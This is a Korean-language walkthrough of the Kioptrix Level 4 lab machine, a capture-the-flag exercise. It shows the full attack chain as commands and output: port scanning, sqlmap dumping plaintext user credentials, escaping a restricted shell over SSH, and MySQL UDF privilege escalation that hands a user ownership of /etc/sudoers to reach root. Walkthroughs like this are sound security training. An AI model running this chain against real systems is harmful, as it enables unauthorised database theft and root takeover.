정보 수집
nmap을 사용하여 대상 호스트를 식별하고 열린 포트를 스캔합니다.
nmap -sP 192.168.128.0/24
nmap -P- 192.168.128.135
nmap -min-rate 10000 -sV -sC -O 192.168.128.135

디렉터리 스캐너를 사용하여 웹 서버의 엔드포인트를 탐색합니다.
dirsearch -u http://192.168.128.135



웹 페이지는 로그인 폼을 포함하고 있습니다. 비밀번호 필드에서 SQL 인젝션 취약점이 발견되었습니다.

SQL 인젝션 활용
SQLMap을 사용하여 데이터베이스 덤프를 수행합니다.
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch --dbs
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members --dump



| ID | Username | Password |
|---|---|---|
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |


SSH 접속 및 제한된 쉘 우회
획득한 자격 증명을 사용하여 SSH로 접속합니다. 두 계정 모두 접속 가능하며, 제한된 쉘(rbash)이 적용되어 있습니다.

rbash를 우회하기 위해 다음 명령어를 시도할 수 있습니다.
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss robert@192.168.128.135 -t "/bin/sh"
또는 Python을 사용하여 우회합니다.
echo os.system("/bin/bash")
ls os.system("/bin/bash")

실행 중인 프로세스를 확인합니다.
ps

권한 상승: MySQL UDF 활용
정보 수집
sudo 명령어를 사용할 수 없으며, SUID 비트가 설정된 바이너리도 권한 상승에 사용할 수 없습니다. 실행 중인 MySQL 프로세스를 발견하고 비밀번호 없이 접속을 시도합니다.
mysql -u root -p


UDF(사용자 정의 함수)를 사용한 권한 상승
UDF는 MySQL에서 사용자 정의 함수를 생성할 수 있게 해줍니다. UDF 권한 상승은 악의적인 공유 라이브러리(SO 파일)를 MySQL에 로드하여 시스템 명령어를 실행하는 기술입니다.
작동 방식:
- 공격자는 SQL 인젝션 등을 통해 파일을 쓸 수 있는 위치를 찾아 악의적인 공유 라이브러리를 업로드합니다.
- 해당 라이브러리에는 시스템 명령어를 실행할 수 있는 함수(예:
sys_exec)가 포함되어 있습니다. CREATE FUNCTION명령어로 MySQL에 함수를 등록합니다.- 생성된 함수를 호출하여 시스템 명령어를 실행합니다.
UDF 라이브러리 찾기 및 함수 생성
로컬 시스템에서 UDF 라이브러리 파일을 찾습니다.
john@Kioptrix4:~$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
MySQL에 접속하여 mysql 데이터베이스를 사용하고 함수를 생성합니다.
mysql> use mysql;
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.00 sec)
whoami 명령어가 root를 반환하여, sys_eval 함수가 root 권한으로 실행되고 있음을 확인합니다.
sudoers 파일 권한 변경
/etc/sudoers 파일의 소유권을 john 사용자로 변경합니다.
mysql> select sys_eval('chown -R john:john /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R john:john /etc/sudoers') |
+---------------------------------------------+
| |
+---------------------------------------------+
1 row in set (0.00 sec)
변경 사항을 확인합니다.
john@Kioptrix4:~$ ls -la /etc | grep sudoers
-r--r----- 1 john john 557 2012-02-04 09:58 sudoers
sudoers 파일의 소유자가 john으로 변경되었습니다. 파일의 권한을 수정하여 john이 편집할 수 있도록 합니다.
john@Kioptrix4:~$ chmod +w /etc/sudoers

sudoers 파일 설정 및 문제 해결
sudo -l 명령어를 실행하면 파일 권한이 잘못되었다는 오류가 발생합니다.
john@Kioptrix4:~$ sudo -l
sudo: /etc/sudoers is mode 0640, should be 0440
sudo: /etc/sudoers is owned by uid 1001, should be 0
파일 권한을 올바르게 설정합니다.
john@Kioptrix4:~$ chmod 0440 /etc/sudoers
/etc/sudoers 파일의 소유권을 다시 root로 되돌립니다.
mysql> select sys_eval('chown -R root:root /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R root:root /etc/sudoers') |
+---------------------------------------------+
| |
+---------------------------------------------+
1 row in set (0.00 sec)

성공적으로 sudo 명령어를 사용할 수 있게 되면, /etc/sudoers 파일에 john 사용자에 대한 ALL 권한을 추가하여 모든 명령어를 sudo로 실행할 수 있습니다. 이후 sudo su - 명령어로 root 사용자로 전환하여 최종 권한 상승을 완료합니다.